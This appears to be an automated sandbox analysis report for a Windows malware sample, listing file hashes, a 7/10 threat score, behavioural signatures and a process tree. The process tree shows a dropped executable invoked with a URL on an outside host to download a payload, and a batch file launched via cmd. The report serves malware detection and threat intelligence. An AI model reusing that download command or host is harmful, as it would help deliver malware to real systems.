13a3b265680aad3d08a121e15fe0bf67578a5788c1cc00906aa52affb96fec24

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
29/02/2024, 08:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ae19df8096df6be8d589902eb85de9c8.exe
Size 95KB
Sample240229-j4j61sbc21
SHA256 13a3b265680aad3d08a121e15fe0bf67578a5788c1cc00906aa52affb96fec24
MD5 ae19df8096df6be8d589902eb85de9c8
SHA1 2321b6f919445a9f03bdb66aaa1c33cdff5022cb
SHA512 6ca4c8e71c76b2f1bc2fdb210c45861e3b6d76ef69c99e4a72da2b0b03f256770bbff464ee78f724e99ddf0845c394975629242d8ee9496d11c68da2a041e679
SSDEEP 1536:5I1L0dgy+TjExryTWrbpV10mF9n4/ZCR3dFXDUGrYy+B1uidydiQM0/eVg4sS:YL9yUEFNPpNYMRNlDrN+BUdiimrJ
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2068	A22DD-tmp.exe

Loads dropped DLL 3 IoCs

pid	Process
2256	ae19df8096df6be8d589902eb85de9c8.exe
2256	ae19df8096df6be8d589902eb85de9c8.exe
2256	ae19df8096df6be8d589902eb85de9c8.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2256 wrote to memory of 2068	2256	ae19df8096df6be8d589902eb85de9c8.exe	28
PID 2256 wrote to memory of 2068	2256	ae19df8096df6be8d589902eb85de9c8.exe	28
PID 2256 wrote to memory of 2068	2256	ae19df8096df6be8d589902eb85de9c8.exe	28
PID 2256 wrote to memory of 2068	2256	ae19df8096df6be8d589902eb85de9c8.exe	28
PID 2256 wrote to memory of 2692	2256	ae19df8096df6be8d589902eb85de9c8.exe	30
PID 2256 wrote to memory of 2692	2256	ae19df8096df6be8d589902eb85de9c8.exe	30
PID 2256 wrote to memory of 2692	2256	ae19df8096df6be8d589902eb85de9c8.exe	30
PID 2256 wrote to memory of 2692	2256	ae19df8096df6be8d589902eb85de9c8.exe	30

C:\Users\Admin\AppData\Local\Temp\ae19df8096df6be8d589902eb85de9c8.exe
"C:\Users\Admin\AppData\Local\Temp\ae19df8096df6be8d589902eb85de9c8.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2256
- C:\Users\Admin\AppData\Local\Temp\A22DD-tmp.exe
  "C:\Users\Admin\AppData\Local\Temp\A22DD-tmp.exe" http://globalsoftwareagreement.com/drv32.data "C:\Users\Admin\AppData\Local\Temp\A22DD-tmpa"
  2⤵
  - Executes dropped EXE
  PID:2068
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\smp.bat" "
  2⤵
  PID:2692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

A22DD-tmp.exe

Path C:\Users\Admin\AppData\Local\Temp\A22DD-tmp.exe
Size 115KB
SHA256 8d27fb80131d98489bc6464c58617efaaa4262c869d9c9042e78932118649bed
MD5 7dd2a8fcdb88fd3f28a0d4b9f9dcd974
SHA1 ca7b820b000a2d3caa5c5db07a98e06531ba45c6
SHA512 6b9f2e6259decd09f39f08f7325cb92a33ca726a40e018d69ac04da4a653c3cc0364c1818a88cb24a62637c333219c8fc5e6e4222ca461a259f0ffbbfb3b6f6a
SSDEEP 3072:S1qV7bUVbQRH88a9H1kHFod7nDxvSsC9:aqlUFF8a9q2drDo
MD5 SHA1 SHA512 SSDEEP

Submit Download

smp.bat

Path C:\smp.bat
Size 52B
SHA256 45ba30596a0d0911571a9f08da9deeb151eb4f9e58d06b7bbecee52d4781afa4
MD5 cbbc8b19d707489b1c077c8982c0fc64
SHA1 8a406888999eb3fa0121c39eee90b59673339a9a
SHA512 fa9784e13b55a0d72f46e0d8b9c2afd1075e929d92918daab3dad311a3631cfe33d8310b1f1448edfa886438259b955fdbb6600b88d6b8af78ca88670aec2f89
MD5 SHA1 SHA512